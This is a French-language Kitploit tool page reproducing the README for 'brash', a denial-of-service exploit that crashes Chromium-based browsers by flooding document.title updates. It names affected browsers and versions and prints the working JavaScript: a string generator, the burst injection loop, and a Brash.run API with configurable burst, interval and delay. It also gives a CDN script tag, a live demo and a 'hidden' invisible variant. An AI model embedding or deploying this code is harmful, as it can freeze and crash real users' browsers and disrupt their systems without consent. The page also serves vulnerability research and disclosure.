Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
brash — Attaque DoS sur le navigateur Chromium via l'exploitation de document.title | Kitploit
Outils/GitHubGitHub/jofpin/brash
Frameworks d'ExploitationAnalyse des VulnérabilitésExploitation d'Applications WebTests d'Intrusion
GitHubjofpin/brash

brash

Attaque DoS sur le navigateur Chromium via l'exploitation de document.title

Voir le dépôt
180615il y a 11 moisVérifié par Kitploit
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Brash

Brash par Jose Pino

Attaque DoS sur navigateur Chromium via l'exploitation de document.title

Brash est une vulnérabilité critique dans Blink, le moteur de rendu qui alimente les navigateurs basés sur Chromium de Google. Elle permet à tout navigateur Chromium de s'effondrer en 15 à 60 secondes en exploitant une faille architecturale dans la gestion de certaines opérations DOM.

Le vecteur d'attaque provient de l'absence totale de limitation de débit sur les mises à jour de l'API document.title. Cela permet d'injecter des millions de mutations DOM par seconde, et pendant cette tentative d'injection, sature le thread principal, perturbant la boucle d'événements et provoquant l'effondrement de l'interface. L'impact est significatif : cela consomme d'importantes ressources CPU, dégrade les performances globales du système et peut stopper ou ralentir d'autres processus s'exécutant simultanément. En affectant les navigateurs Chromium sur les environnements de bureau, Android et embarqués, cette vulnérabilité expose plus de 3 milliards de personnes sur Internet à un déni de service au niveau système.

STATUT : Opérationnel
VERSIONS AFFECTÉES : Chromium ≤ 143.0.7483.0 (testé : 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)

[!NOTE] L'exploit est actuellement opérationnel. Une fois la vulnérabilité corrigée, ce code cessera de fonctionner. Néanmoins, découvrir cette faille architecturale et mener à bien l'ensemble du processus de recherche, de documentation et de conception pour partager quelque chose d'impactant avec le monde a été un parcours incroyablement enrichissant.

Tests

11 navigateurs majeurs ont été testés sur macOS, Windows et Linux pour valider l'impact de la vulnérabilité.

Vulnérables (Chromium/Blink)

Tous les navigateurs basés sur Chromium sont vulnérables car la faille se trouve au cœur du moteur de rendu Blink :

  • Chrome — plante en 15-30 secondes
  • Edge — plante en 15-25 secondes
  • Vivaldi — plante en 15-30 secondes
  • Arc Browser — plante en 15-30 secondes
  • Dia Browser — plante en 15-30 secondes
  • Opera — plante en ~60 secondes
  • Perplexity Comet — plante en 15-35 secondes
  • ChatGPT Atlas — plante en 15-60 secondes
  • Brave — plante en 30-125 secondes

Non vulnérables (utilisant d'autres moteurs)

  • Firefox (moteur Gecko) — insensible à l'attaque
  • Safari (moteur WebKit) — insensible à l'attaque
  • Navigateurs iOS (tous utilisent WebKit) — insensibles à l'attaque en raison de la politique obligatoire d'Apple exigeant que tous les navigateurs iOS utilisent WebKit comme moteur de rendu, rendant les navigateurs basés sur Chromium impossibles sur iOS

Comment ça marche

Brash exploite une faille architecturale fondamentale dans le moteur de rendu Blink : l'absence de limitation (throttling) sur les mises à jour de document.title. L'attaque se déroule en trois phases critiques :

1. Génération de hachages (préparation)

Génère 100 chaînes hexadécimales uniques de 512 caractères et les stocke en mémoire avant de lancer l'attaque.

Pourquoi les pré-charger plutôt que de les générer en temps réel ?

Parce que générer en permanence de nouvelles chaînes consomme du temps CPU pour des opérations mathématiques. Ce temps est critique : chaque milliseconde passée à générer des chaînes est un temps NON utilisé pour bombarder le navigateur de mises à jour document.title.

En ayant 100 chaînes déjà chargées en mémoire :

  • Attaque plus rapide : aucune pause pour générer des chaînes
  • CPU concentré : 100 % des ressources dédiées à saturer le navigateur
  • Moins de pauses système : empêche le ramasse-miettes (garbage collector) de s'activer constamment
  • Évite la détection : les 100 chaînes différentes empêchent le navigateur de mettre en cache ou d'optimiser les mises à jour

Par conséquent, nous obtenons une vitesse d'injection maximale avec une consommation mémoire maximale par mise à jour.

// Generates high-entropy unique IDs
gid: function() {
    let id = "";
    for (let i = 0x0; i < 0x200; i++) {
        id += ((Math.random() * 0x10) | 0x0).toString(0x10);
    }
    return id;
}

2. Injection par rafales (attaque)

Exécute des rafales configurables de mises à jour du titre. Avec la configuration par défaut (burst : 8000, intervalle : 1 ms), il tente d'injecter environ 24 millions de mises à jour par seconde, et c'est au cours de cette tentative que l'effondrement du navigateur commence.

// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
    const t = this.titles[Math.random() * this.titles.length | 0x0];
    for (let i = 0x0; i < 0x3; i++) {
        document.title = t + i;  // Each burst performs 3 sequential updates
    }
    this.counter += 0x3;
}

3. Saturation du thread de l'interface utilisateur (effondrement)

Les mises à jour continues saturent le thread principal du navigateur, empêchant le traitement des autres événements :

Chronologie de l'effondrement :

  • 0-5s : saturation initiale du thread UI, consommation CPU extrême
  • 5-10s : onglet complètement gelé, impossible à fermer
  • 10-15s : effondrement du navigateur ou dialogue « Page sans réponse »
  • 15-60s : arrêt forcé requis (navigateurs basés sur Chromium)

Pourquoi cela fonctionne-t-il ?

Blink traite chaque modification de document.title de manière synchrone sur le thread principal, sans limitation de débit. Cela crée un goulot d'étranglement qui :

  • bloque la boucle d'événements
  • empêche le traitement des entrées utilisateur
  • sature la mémoire avec de longues chaînes
  • perturbe le compositeur et le pipeline de rendu
  • provoque des à-coups (thrashing) du processus navigateur

Démo et PoC

Pour bien comprendre l'impact de Brash, vous pouvez expérimenter l'exploit dans différents contextes, d'une démo en direct contrôlée à votre propre implémentation. Chaque option est conçue pour différents niveaux d'interaction et de compréhension technique.

1. Démo en direct

Le moyen le plus rapide de voir Brash en action. Rendez-vous sur https://brash.run

Pour voir l'exploit sans interface graphique, visitez https://brash.run/hidden-live-demo.html. Cette version exécute l'injection de manière invisible, simulant une véritable attaque.

2. Démo locale

Si vous préférez exécuter la démo dans votre propre environnement, le répertoire exploit-demo/ inclus dans le dépôt vous permet de :

  • contrôler l'intensité de l'attaque en temps réel
  • afficher un compteur visuel des mises à jour par seconde
  • choisir parmi trois modes prédéfinis : modéré, agressif et extrême
  • observer l'effondrement progressif du navigateur

Ouvrez simplement exploit-demo/index.html dans n'importe quel navigateur Chromium et configurez les valeurs burst et interval avant de commencer.

  • burstSize : nombre de changements de titre par intervalle (plus élevé = plus agressif)
  • interval : millisecondes entre les rafales (plus bas = plus agressif)

3. Implémentez votre propre PoC

Pour intégrer Brash dans vos propres tests de sécurité ou recherches, incluez le script et configurez l'attaque :

Inclure le script :

<!-- Local -->
<script src="brash.js"></script>

<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>

Utilisation de l'API :

// 1. Immediate attack
Brash.run({
    burstSize: 8000,
    interval: 1
});

// 2. Delay in seconds (default)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: 30  // 30 seconds
});
Télécharger l’outil